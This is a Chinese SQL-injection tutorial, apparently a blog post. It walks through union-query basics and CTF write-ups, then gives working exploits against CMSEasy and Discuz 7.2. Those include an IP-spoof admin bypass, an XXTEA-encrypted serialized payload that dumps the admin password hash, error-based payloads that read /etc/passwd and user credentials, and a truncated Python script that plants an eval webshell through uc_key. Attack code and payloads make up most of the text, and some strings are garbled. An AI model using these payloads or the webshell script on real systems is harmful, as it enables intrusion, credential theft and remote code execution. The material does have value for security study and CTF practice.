2024全网最全面及最新且最为详细的网络安全技巧四 之 lsql注入以及mysql绕过技巧 (1)———— 作者:LJS

  • 目录

    4. SQL注入基础之联合查询

    什么是SQL注入漏洞

    SQL注入原理

    SQL注入带来的危害

    注入按照注入技术(执行效果)分类

    简单联合查询注入语句

    4.1 [网鼎杯 2018]Comment二次注入

    正好总结一下绕过addslashes的方式

    4.2 ciscn2019web5CyberPunk

    复现平台

    解题过程

    payload构造

    payload使用

    4.3 cmseasy注入漏洞

    4.3.1 后台未授权访问

    4.4 Discuz!7.2 SQL注入复现实验

    4.4.1 实验准备

    实验原理

    实验工具:

    UCenter+Discuz 7.2安装包

    4.4.2 SQL注入漏洞复现

    漏洞形成原因

    扩展,利用uc_key写入一句话木马进行getshell(此出不在注释了,后期学有余力会二改+注释的)

    python脚本提供给大家http://www.xxx.com/faq.php?action=grouppermission&gids[99]='&gids[100][0]=)


  • 4. SQL注入基础之联合查询

  • 什么是SQL注入漏洞

  • 攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系 统有特殊意义的符号或命令,让攻击者有机会直接对后台数据库系统下达指令,进而实现对后 台数据库乃至整个应用系统的入侵
  • SQL注入原理

  • 服务端没有过滤用户输入的恶意数据,直接把用户输入的数据当做SQL语句执行,从而影响数据库安全和平台安全
  • SQL注入带来的危害

  • 绕过登录验证:使用万能密码登录网站后台等
  • 获取敏感数据:获取网站管理员帐号、密码等
  • 文件系统操作:列目录,读取、写入文件等
  • 注册表操作:读取、写入、删除注册表等
  • 执行系统命令:远程执行命令
  • 注入按照注入技术(执行效果)分类

  • 基于布尔的盲注基于时间的盲注基于报错的注入联合查询注入堆查询注入
  • 简单联合查询注入语句

  • 1. id=1' order by xxx--+ xxx代表列数
    
    ​2. id=-1' union select 1,2,3,4,xxx--+ 查询出有几列,数字就为几个,例如有5列,数字就是1,2,3,4,5​
    
    3. id=-1' union select 1,2,3,4 看回显字段,假设为2,3​
    
    4. id=-1' union select 1,database(),version(),4--+  可以看到当前数据库名称 以及当前数据库版本​
    
    5. id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3,4 --+ 查询当前数据库下 所有表名
    ​
    6. id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='admin_user'),3,4 --+ 查询当前数据库下,想要查询表的所有列名
    
    ​7. id=-1' union select 1,group_concat(username,0x3a,password),3,4 from users--+
  • 4.1 [网鼎杯 2018]Comment二次注入

  • 登录,是一个类似留言板的界面,考虑二次注入 git源码泄露
  • 这里要恢复一下文件,否则文件内容显示不全
  • //write_do.php
    <?php
    include "mysql.php";
    session_start();
    if($_SESSION['login'] != 'yes'){
        header("Location: ./login.php");
        die();
    }
    if(isset($_GET['do'])){
    switch ($_GET['do'])
    {
    case 'write':
        $category = addslashes($_POST['category']);
        $title = addslashes($_POST['title']);
        $content = addslashes($_POST['content']);
        $sql = "insert into board
                set category = '$category',
                    title = '$title',
                    content = '$content'";
        $result = mysql_query($sql);
        header("Location: ./index.php");
        break;
    case 'comment':
        $bo_id = addslashes($_POST['bo_id']);
        $sql = "select category from board where id='$bo_id'";
        $result = mysql_query($sql);
        $num = mysql_num_rows($result);
        if($num>0){
        $category = mysql_fetch_array($result)['category'];
        $content = addslashes($_POST['content']);
        $sql = "insert into comment
                set category = '$category',
                    content = '$content',
                    bo_id = '$bo_id'";
        $result = mysql_query($sql);
        }
        header("Location: ./comment.php?id=$bo_id");
        break;
    default:
        header("Location: ./index.php");
    }
    }
    else{
        header("Location: ./index.php");
    }
    ?>
    
    /*a. 发布新的文章(write)
    从$_POST中获取category、title和content,并使用addslashes函数防止SQL注入(不过这个方法已不推荐,现代开发应使用参数化查询或准备语句)。
    构建SQL插入语句,将数据插入到board表中。
    执行SQL查询。
    重定向到index.php页面。
    b. 发表评论(comment)
    从$_POST中获取bo_id,并使用addslashes防止SQL注入。
    查询board表中对应bo_id的记录,获取其category。
    如果查询结果存在(即该bo_id有效),则从$_POST中获取评论的内容,并使用addslashes防止SQL注入。
    构建SQL插入语句,将评论数据插入到comment表中。
    执行SQL查询。
    重定向到comment.php页面,并传递bo_id以显示对应的评论。
     默认行为
    如果$_GET['do']未设置或不匹配任何已知操作,则默认重定向到index.php。*/
  • 这里的write和comment分别对应发帖和留言界面
  • 可以看到所有参数都进行了addslashes函数处理
  • 正好总结一下绕过addslashes的方式

  • 设置数据库字符为gbk导致宽字节注入
    使用icon,mb_convert_encoding转换字符编码函数导致宽字节注入
    url解码导致绕过addslashes
    base64解码导致绕过addslashes
    json编码导致绕过addslashes
    没有使用引号保护字符串,直接无视addslashes
    使用了stripslashes(去掉了\)
    字符替换导致的绕过addslashes
    
  • 上述参考:https://bbs.ichunqiu.com/thread-10899-1-1.html
  • 12345678910
  • 闭合情况如下
  • insert into comment
           set category = ' ',content=user(),/*',
               content = '*/#',
               bo_id = '$bo_id'";
    1234
  • 很明显的二次注入。先addslashes转义存入数据库。再从数据库中查询放入sql语句。没有进行转义注
  • 进入数据库后是没有反斜杠的,这样comment操作时直接取出单引号就能闭合了
  • 注意#是单行注释
  • ',content=(select(load_file("/etc/passwd"))),/*
  • 接下来读取文件,注意看到/home/www下以bash身份运行
  • ,content=(select(load_file("/home/www/.bash_history")))
    
    ',content=(select(load_file("/tmp/html/.DS_Store"))),
  • 未显示完全,用hex编码显示
  • ',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*
    
    ',content=(select hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),
  • j结果发现发现flag是假的,最后这个才是真的
  • ',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),
  • 4.2 ciscn2019web5CyberPunk

  • 刚比赛完的一段时间期末考试云集,没有时间复现题目。趁着假期,争取多复现几道题。
  • 复现平台

  • buuoj.cn
  • 解题过程

  • 首先进入题目页面
  • 看起来没有什么特别的,就是一个可以提交信息的页面。查看响应报文也没有什么提示,但是在网页注释里有东西。
  • <!--?file=?-->
  • 这里可能有一个文件包含,尝试payload
  • http://xxx.xxx/index.php?file=php://filter/convert.base64-encode/resource=index.php
  • 结果得到了当前页面经过加密后的源码
  • 有关伪协议的内容,可以大致参考下这篇文章:https://www.cnblogs.com/dubhe-/p/9997842.html

  • <?php
    ini_set('open_basedir', '/var/www/html/');
    
    // $file = $_GET["file"];
    $file = (isset($_GET['file']) ? $_GET['file'] : null);
    if (isset($file)){
        if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
            echo('no way!');
            exit;
        }
        @include($file);
    }
    ?>
    //HTML页面的代码省略,保留之前说的注释
    /*首先,通过 isset($file) 检查 $file 是否被设置。如果未设置,则不会执行后续代码。
    接下来,使用 preg_match 函数检查 $file 中是否包含某些危险的协议或字符序列(如 phar, zip, bzip2, zlib, data, input, %00)。这些协议或字符序列在某些情况下可能会被利用进行文件包含攻击或注入攻击。
    正则表达式 /phar|zip|bzip2|zlib|data|input|%00/i 中:
    phar, zip, bzip2, zlib, data, input 是一些常见的流包装器。
    %00 是空字符的 URL 编码形式。
    /i 是正则表达式的修饰符,表示大小写不敏感。
    如果匹配成功,说明 $file 中包含这些危险的协议或字符序列,脚本会输出 no way! 并调用 exit 函数终止执行。*/
    <!--?file=?-->
  • 用同样的方法,根据表单中暴露的位置,获取confirm.php,change.php,search.php等页面的内容。
  • <?php
    #change.php
    require_once "config.php";
    
    if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
    {
        $msg = '';
        $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
        $user_name = $_POST["user_name"];
        $address = addslashes($_POST["address"]);
        $phone = $_POST["phone"];
        if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
            $msg = 'no sql inject!';
        }else{
            $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
            $fetch = $db->query($sql); //如果没有检测到 SQL 注入问题,就会构建一个 SQL 查询来查找匹配的用户记录。
        }
    
        if (isset($fetch) && $fetch->num_rows>0){
            $row = $fetch->fetch_assoc();
            $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
            $result = $db->query($sql);
            if(!$result) {
                echo 'error';
                print_r($db->error);
                exit;
            }
            $msg = "订åä
    /*如果查询结果存在且有记录,使用 fetch_assoc 获取用户数据。
    构建一个 SQL 更新语句,
    将新地址更新到 address 字段,并将旧地址保存到 old_address 字段。
    执行更新操作。如果出错,输出错误信息并退出程序。
    如果更新成功,则设置 $msg 为 "Address updated successfully!".
    */
    
  • <?php
    #search.php
    require_once "config.php"; 
    
    if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
    {
        $msg = '';
        $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
        $user_name = $_POST["user_name"];
        $phone = $_POST["phone"];
        if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
            $msg = 'no sql inject!';
        }else{
            $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
            $fetch = $db->query($sql);
        }
    
        if (isset($fetch) && $fetch->num_rows>0){
            $row = $fetch->fetch_assoc();
            if(!$row) {
                echo 'error';
                print_r($db->error);
                exit;
            }
            $msg = "<p>å§å:".$row['user_name']."</p><p>, çµè¯:".$row['phone']."</p><p>, å°å:".$row['address']."</p>";
        } else {
            $msg = "æªæ¾å°è®¢å!";
        }
    }else {
        $msg = "ä¿¡æ¯ä¸å¨";
    }
    ?>
    #无用的HTML代码省略
  • 分析代码可以知道,每个涉及查询的界面都过滤了很多东西来防止SQL注入,而且过滤的内容非常广泛,很难进行注入。
  • 但是尽管username和phone过滤非常严格,而address却只是进行了简单的转义。经过分析便找到了可以利用的地方。这里提取了一些change.php中和address相关的部分。
  • $address = addslashes($_POST["address"]);
    if (isset($fetch) && $fetch->num_rows>0){
            $row = $fetch->fetch_assoc();
            $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
            $result = $db->query($sql);
            if(!$result) {
                echo 'error';
                print_r($db->error);
                exit;
            }
  • 可以看出,address会被转义,然后进行更新,也就是说单引号之类的无效了。但是,在地址被更新的同时,旧地址被存了下来。如果第一次修改地址的时候,构造一个含SQL语句特殊的payload,然后在第二次修改的时候随便更新 一个正常的地址,那个之前没有触发SQL注入的payload就会被触发。
  • 思路有了以后,接下来就是构造payload,下面将借助报错注入来构造payload
  • payload构造

  • 1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)
    
    #where user_id=:这是一个SQL查询中的条件语句,表明要对user_id进行条件过滤。
    updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1):
    updatexml 是MySQL的一个函数,用于更新XML数据。
    在这里,它被利用来执行一个子查询,这个子查询的目的是从文件/flag.txt中读取前20个字符的内容。
    load_file('/flag.txt'):尝试加载/flag.txt文件的内容。
    substr(load_file('/flag.txt'),1,20):从加载的文件内容中提取前20个字符。
    concat(0x7e,...,0x7e):将获取的文件内容用波浪号 ~ 包围起来,这是为了标识从文件中提取的内容。

直接load_file不能显示全这里分两次构造payload

  • 1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)
    
  • payload使用

  • 两个payload的使用方法为:(图片暂时无法加载除来)
  • 先在初始页面随便输数据,记住姓名电话
  • https://markdown-1255584210.cos.ap-chengdu.myqcloud.com/day1web1/givemoney.png
  • 接着修改地址,地址修改为所构造的payload。修改之后再次修改,将地址设置为随便一个正常值,比如1,这样就能看到报错页面
  • ​​​​​​https://markdown-1255584210.cos.ap-chengdu.myqcloud.com/day1web1/change.png​​​​​​
  • 如果想要使用新的payload,只需要删除订单在重复以上操作即可。 https://markdown-1255584210.cos.ap-chengdu.myqcloud.com/day1web1/change.png

cmseasy后台可以未授权访问,在/lib/admin/admin.php中:

  • 4.3 cmseasy注入漏洞

  • 4.3.1 后台未授权访问

  • if (!defined('ROOT')) exit('Can\'t Access !');
    abstract class admin extends act {
        function __construct() {
            if (ADMIN_DIR!=config::get('admin_dir')) {
                config::modify(array('admin_dir'=>ADMIN_DIR));
                front::flash('后台目录更改成功!');
            }
    /*这段代码首先比较定义的 ADMIN_DIR 常量与配置文件中的后台目录设置是否一致。
    如果不一致,则通过 config::modify 方法修改配置文件中的 admin_dir 设置为 ADMIN_DIR 的值,
    并显示一条提示消息(flash message)给用户。*/
            front::$rewrite=false;
    /*这行代码将 URL 重写功能关闭。URL 重写通常用于美化网站的 URL 结构,
    但在后台管理界面可能不需要这种功能。*/
            parent::__construct();
    /*调用父类 act 的构造函数。
    这里假设 admin 类直接或间接地继承自 act 类。*/
            $servip = gethostbyname($_SERVER['SERVER_NAME']);
            //if($this instanceof file_admin && in_array(front::get('act'), array('updialog','upfile','upfilesave','netfile','netfilesave','swfsave'))) return;
            if($servip==front::ip()&&front::get('ishtml')==1) return;
            $this->check_admin();
        }
    /*这段代码首先检查当前访问服务器的 IP 地址是否与前台定义的 IP 地址一致,并且 ishtml 参数为 1。
    如果是,则直接返回,不执行后面的管理员权限检查。
    否则,调用 check_admin() 方法,用于检查当前用户是否有管理员权限。
    */
  • 这个抽象类是所有后台类继承得到的,当用户IP(可以通过x-forwarded-for伪造)和服务器IP相同且ishtml=1的话,就能不执行check_admin,造成未授权访问。
  • 此时同学们思考,需要如何绕过这个验证
  • 修改IP以后在后台url后加上ishtml=1,即可访问后台页面。可看到cookie安全码
  • avatar

  •  拿到了这个安全码,看看能如何利用,此时我们需要找到调用安全码的函数。看到/lib/admin/admin_act.php,58行:
  • function remotelogin_action() {
        cookie::del('passinfo'); // 删除名为'passinfo'的cookie
    
        // 检查是否有名为'loginfalse'加密后的错误登录计数
        $this->view->loginfalse = cookie::get('loginfalse' . md5($_SERVER['REQUEST_URI']));
    
        // 如果有传入参数
        if (front::$args) {
            $user = new user();
            
            // 解密传入的参数,并使用配置中的密码解码
            $args = xxtea_decrypt(base64_decode(front::$args), config::get('cookie_password'));
            
            // 从解密后的参数反序列化出用户对象
            $user = $user->getrow(unserialize($args));
            
            // 如果返回的用户是一个数组(即用户存在)
            if (is_array($user)) {
                // 如果用户的组ID是'888',标记为管理员登录
                if ($user['groupid'] == '888')
                    front::$isadmin = true;
    
                // 设置登录用户名和加密后的密码到cookie和session中
                cookie::set('login_username', $user['username']);
                cookie::set('login_password', front::cookie_encode($user['password']));
                session::set('username', $user['username']);
                
                // 导入必要的配置文件和类文件
                require_once ROOT . '/celive/include/config.inc.php';
                require_once ROOT . '/celive/include/celive.class.php';
                
                // 创建celive实例,并进行认证
                $login = new celive();
                $login->auth();
                
                // 调用全局认证类的远程登录方法
                $GLOBALS['auth']->remotelogin($user['username'], $user['password']);
                $GLOBALS['auth']->check_login1();
                
                // 设置当前用户信息到全局变量中
                front::$user = $user;
            } else {
                // 如果返回的不是数组,或者未设置管理员标记
                // 增加'loginfalse'的错误登录计数,并设置有效期
                cookie::set('loginfalse' . md5($_SERVER['REQUEST_URI']), (int) cookie::get('loginfalse' . md5($_SERVER['REQUEST_URI'])) + 1, time() + 3600);
                
                // 记录登录失败日志
                event::log('loginfalse', '失败 user=' . $user['username']);
                
                // 提示密码错误或管理员不存在
                front::flash('密码错误或不存在该管理员!');
                
                // 重定向到管理员登录页面
                front::refresh(url('admin/login', true));
            }
        }
        
        // 渲染视图
        $this->render();
    }
    
  • 远程登录的函数,先获得$args,并base64解码,解码以后再xxtea解密(密钥就是刚才得到的字符串),解密以后再反序列化得到一个对象,直接放进数据库中查询。
  • 此时继续思考,首先我们需要一个cookie密钥,再次我们需要怎么反推来满足他的需求,毕竟是通过base64过的数据直接放入数据库,并未过滤,随便绕过waf
  • 脚本如下。把xxtea的加密函数拷贝出来,将注入语句构造好,输出来:
  • /*知识点补充:
    加密和解密函数定义
    xxtea_encrypt($str, $key): 使用XXTEA算法对字符串 $str 进行加密,使用密钥 $key。
    xxtea_decrypt($str, $key): 使用XXTEA算法对加密后的字符串 $str 进行解密,使用相同的密钥 $key。
    字符串转换函数
    
    long2str($v, $w): 将长整型数组 $v 转换为字符串。如果 $w 为 true,则根据数组中的最后一个元素指定长度截断字符串。
    str2long($s, $w): 将字符串 $s 转换为长整型数组。如果 $w 为 true,则数组末尾添加字符串长度。
    辅助函数
    
    int32($n): 将输入的整数 $n 限制在32位有符号整数范围内。*/
    
    <?php
    
    $key = 'xxx';
    
    $table = array(
        'userid`=-1 union select 1,concat(username,0x23,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#'=>1
    );
    
    echo base64_encode(xxtea_encrypt(serialize($table), $key));
    
    function xxtea_encrypt($str, $key) {
        if ($str == "") {
            return "";
        }
        $v = str2long($str, true);
        $k = str2long($key, false);
        if (count($k) < 4) {
            for ($i = count($k); $i < 4; $i++) {
                $k[$i] = 0;
            }
        }
        $n = count($v) - 1;
    
        $z = $v[$n];
        $y = $v[0];
        $delta = 0x9E3779B9;
        $q = floor(6 + 52 / ($n + 1));
        $sum = 0;
        while (0 < $q--) {
            $sum = int32($sum + $delta);
            $e = $sum >> 2 & 3;
            for ($p = 0; $p < $n; $p++) {
                $y = $v[$p + 1];
                $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
                $z = $v[$p] = int32($v[$p] + $mx);
            }
            $y = $v[0];
            $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
            $z = $v[$n] = int32($v[$n] + $mx);
        }
        return long2str($v, false);
    }
    
    function xxtea_decrypt($str, $key) {
        if ($str == "") {
            return "";
        }
        $v = str2long($str, false);
        $k = str2long($key, false);
        if (count($k) < 4) {
            for ($i = count($k); $i < 4; $i++) {
                $k[$i] = 0;
            }
        }
        $n = count($v) - 1;
    
        $z = $v[$n];
        $y = $v[0];
        $delta = 0x9E3779B9;
        $q = floor(6 + 52 / ($n + 1));
        $sum = int32($q * $delta);
        while ($sum != 0) {
            $e = $sum >> 2 & 3;
            for ($p = $n; $p > 0; $p--) {
                $z = $v[$p - 1];
                $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
                $y = $v[$p] = int32($v[$p] - $mx);
            }
            $z = $v[$n];
            $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
            $y = $v[0] = int32($v[0] - $mx);
            $sum = int32($sum - $delta);
        }
        return long2str($v, true);
    }
    
    function long2str($v, $w) {
        $len = count($v);
        $n = ($len - 1) << 2;
        if ($w) {
            $m = $v[$len - 1];
            if (($m < $n - 3) || ($m > $n)) return false;
            $n = $m;
        }
        $s = array();
        for ($i = 0; $i < $len; $i++) {
            $s[$i] = pack("V", $v[$i]);
        }
        if ($w) {
            return substr(join('', $s), 0, $n);
        }
        else {
            return join('', $s);
        }
    }
    
    function str2long($s, $w) {
        $v = unpack("V*", $s. str_repeat("\0", (4 - strlen($s) % 4) & 3));
        $v = array_values($v);
        if ($w) {
            $v[count($v)] = strlen($s);
        }
        return $v;
    }
    
    function int32($n) {
        while ($n >= 2147483648) $n -= 4294967296;
        while ($n <= -2147483649) $n += 4294967296;
        return (int)$n;
    }
    
  • 对上段代码的主要注释:
  • //加密过程 (xxtea_encrypt 函数)
    function xxtea_encrypt($str, $key) {
        if ($str == "") {
            return "";
        }
        $v = str2long($str, true); // 将字符串转换为长整型数组,末尾加上字符串长度信息
        $k = str2long($key, false); // 将密钥转换为长整型数组
        if (count($k) < 4) {
            for ($i = count($k); $i < 4; $i++) {
                $k[$i] = 0; // 如果密钥长度不足4,用0填充
            }
        }
        $n = count($v) - 1;
    
        $z = $v[$n];
        $y = $v[0];
        $delta = 0x9E3779B9;
        $q = floor(6 + 52 / ($n + 1));
        $sum = 0;
        while (0 < $q--) {
            $sum = int32($sum + $delta);
            $e = $sum >> 2 & 3;
            for ($p = 0; $p < $n; $p++) {
                $y = $v[$p + 1];
                $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
                $z = $v[$p] = int32($v[$p] + $mx);
            }
            $y = $v[0];
            $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
            $z = $v[$n] = int32($v[$n] + $mx);
        }
        return long2str($v, false); // 将加密后的长整型数组转换为字符串,不截断
    }
    
    
    //解密过程 (xxtea_decrypt 函数)
    function xxtea_decrypt($str, $key) {
        if ($str == "") {
            return "";
        }
        $v = str2long($str, false); // 将加密后的字符串转换为长整型数组
        $k = str2long($key, false); // 将密钥转换为长整型数组
        if (count($k) < 4) {
            for ($i = count($k); $i < 4; $i++) {
                $k[$i] = 0; // 如果密钥长度不足4,用0填充
            }
        }
        $n = count($v) - 1;
    
        $z = $v[$n];
        $y = $v[0];
        $delta = 0x9E3779B9;
        $q = floor(6 + 52 / ($n + 1));
        $sum = int32($q * $delta);
        while ($sum != 0) {
            $e = $sum >> 2 & 3;
            for ($p = $n; $p > 0; $p--) {
                $z = $v[$p - 1];
                $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
                $y = $v[$p] = int32($v[$p] - $mx);
            }
            $z = $v[$n];
            $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
            $y = $v[0] = int32($v[0] - $mx);
            $sum = int32($sum - $delta);
        }
        return long2str($v, true); // 将解密后的长整型数组转换为字符串,并根据数组最后一个元素指定的长度截断字符串
    }
    
    //主程序部分
    $key = 'xxx'; // 设置加密解密使用的密钥
    
    $table = array(
        'userid`=-1 union select 1,concat(username,0x23,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#' => 1
    ); // 待加密的数组
    
    $serialized = serialize($table); // 将数组序列化
    $encrypted = xxtea_encrypt($serialized, $key); // 使用XXTEA算法加密序列化后的数组
    $encoded = base64_encode($encrypted); // 对加密后的结果进行Base64编码
    
    echo $encoded; // 输出最终加密并编码的结果
    
    
  • 为什么要构造这样的一个注入,我们需要深入程序继续看
  • a:1:{s:132:"userid`=-1 union select 1,concat(username,0x23,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#";i:1;}
    
    #从 cmseasy_user 表中选择每个用户的用户名和密码的连接结果。在这里,concat(username,0x23,password) 使用 SQL 函数 concat() 将用户名和密码以 # 符号(0x23 的 ASCII 字符)连接起来。
  • Array ( [userid`=-1 union select 1,concat(username,0x23,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#] => 1 )​
    
    #数组的键部分试图通过 SQL 注入来操纵 SQL 查询。
    SELECT * FROM `cmseasy_settings` WHERE `tag`='table-fieldset' ORDER BY 1 desc limit 1                           
    #从 cmseasy_settings 表中选择 tag 为 table-fieldset 的记录,并按第一列降序排序,限制返回一条记录。
    SELECT * FROM `cmseasy_user` WHERE userid>0 ORDER BY 1 desc limit 1
    #从 cmseasy_user 表中选择 userid 大于 0 的记录,按第一列降序排序,限制返回一条记录。
    SELECT * FROM `cmseasy_user` WHERE `userid`=-1 union select 1,concat(username,0x23,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#`='1' ORDER BY 1 desc limit 1\
    #,concat(username,0x23,password) 将用户名和密码连接在一起,中间用 # 分隔(0x23 是 # 的 ASCII 码),回显形式为 username#password。
  • Array ( [userid] => 1 [username] => admin#21232f297a57a5a743894a0e4a801fc3 [password] => 3 [nickname] => 4 [groupid] => 5 [checked] => 6 [qqlogin] => 7 [alipaylogin] => 8 [avatar] => 9 [userip] => 10 [state] => 11 [qq] => 12 [e_mail] => 13 [address] => 14 [tel] => 15 [question] => 16 [answer] => 17 [intro] => 18 [point] => 19 [introducer] => 20 )
    
  • 获得加密后的字符串如下: 
  • avatar

  • 我们需要构造如下语句,就可以将cookie设置成注入获得的数据:
  • http://localhost/easy/index.php?case=admin&act=remotelogin&admin_dir=admin&site=default&args=xxxx
  • avatar

  • 4.4 Discuz!7.2 SQL注入复现实验

  • 4.4.1 实验准备

  • 实验原理

  • Discuz7.2 SQL注入漏洞利用PHP特性突破GPC,形成SQL注入漏洞。
  • 实验工具:

  • UCenter+Discuz 7.2安装包
  • 安装过程,在这里直接忽略
  • 4.4.2 SQL注入漏洞复现

  • 漏洞形成原因

  • } elseif($action == 'grouppermission') {
    
    ...
    ...
    	ksort($gids);//数组 $gids 按键名进行升序排序。
    	$groupids = array();
    	foreach($gids as $row) {
    		$groupids[] = $row[0];
    	}
    
    	$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
    /*
    从两个表 usergroups 和 admingroups 中选择数据,并进行左连接。
    {$tablepre} 通常是表前缀,这种做法是在应用程序中动态处理不同环境或数据库表名前缀的惯用方法。
    u LEFT JOIN a:使用左连接,将 usergroups 表中的数据与 admingroups 表中的数据根据 groupid 和 admingid 进行连接。
    WHERE u.groupid IN (".implodeids($groupids)."):限制查询结果,
    只选择 groupid 在 $groupids 列表中的记录。
    implodeids($groupids) 将 $groupids 数组转化为一个逗号分隔的字符串,
    适用于 SQL 的 IN 子句中。*/
  • 重点看上面几行代码
  • 首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。
  • 为什么这个操作就造成了注入?
  • discuz在全局会对GET数组进行addslashes转义,也就是说会将'转义成',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成$gids[1]=',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。
  • 再看后面,在将数据放入sql语句前,他用implodeids处理了一遍。我们看到implodeids函数:
  • function implodeids($array) {
    	if(!empty($array)) {
    		return "'".implode("','", is_array($array) ? $array : array($array))."'";
    	} else {
    		return '';
    	}
    }
  • 很简单一个函数,就是将刚才的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。
  • 但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:
  • '1','\','3','4'
  • 有没有看出有点不同,第4个单引号被转义了,也就是说第5个单引号和第3个单引号闭合。这样3这个位置就等于逃逸出了单引号,也就是产生的注入。我们把报错语句放在3这个位置,就能报错:http://chuantu.xyz/t6/741/1609987267x1033348220.png
     
  • 扩展,利用uc_key写入一句话木马进行getshell(此出不在注释了,后期学有余力会二改+注释的)

  • #! /usr/bin/env python
    #coding=utf-8
    import hashlib
    import time
    import math
    import base64
    import urllib
    import urllib2
    import sys
     
    def microtime(get_as_float = False) :
        if get_as_float:
            return time.time()
        else:
            return '%.8f %d' % math.modf(time.time())
     
    def get_authcode(string, key = ''):
        ckey_length = 4
        key = hashlib.md5(key).hexdigest()
        keya = hashlib.md5(key[0:16]).hexdigest()
        keyb = hashlib.md5(key[16:32]).hexdigest()
        keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
        #keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]
        cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()
     
        key_length = len(cryptkey)
        string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
        string_length = len(string)
        result = ''
        box = range(0, 256)
        rndkey = dict()
        for i in range(0,256):
            rndkey[i] = ord(cryptkey[i % key_length])
        j=0
        for i in range(0,256):
            j = (j + box[i] + rndkey[i]) % 256
            tmp = box[i]
            box[i] = box[j]
            box[j] = tmp
        a=0
        j=0
        for i in range(0,string_length):
            a = (a + 1) % 256
            j = (j + box[a]) % 256
            tmp = box[a]
            box[a] = box[j]
            box[j] = tmp
            result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
        return keyc + base64.b64encode(result).replace('=', '')
     
    def get_shell(url,key,host):
        '''
        发送命令获取webshell
        '''
        headers={'Accept-Language':'zh-cn',
        'Content-Type':'application/x-www-form-urlencoded',
        'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
        'Referer':url
        }
        tm = time.time()+10*3600
        tm="time=%d&action=updateapps" %tm
        code = urllib.quote(get_authcode(tm,key))
        url=url+"?code="+code
        data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
                <root>
                <item id="UC_API">http://xxx\');eval($_POST[1]);//</item>
                </root>'''
        try:
    
  • python脚本提供给大家http://www.xxx.com/faq.php?action=grouppermission&gids[99]='&gids[100][0]=)

  • and (select 1 from (select count(*),concat((select (select (selectconcat(username,0x27,password) from cdb_members limit 1) ) from`information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tablesgroup by x)a)%23
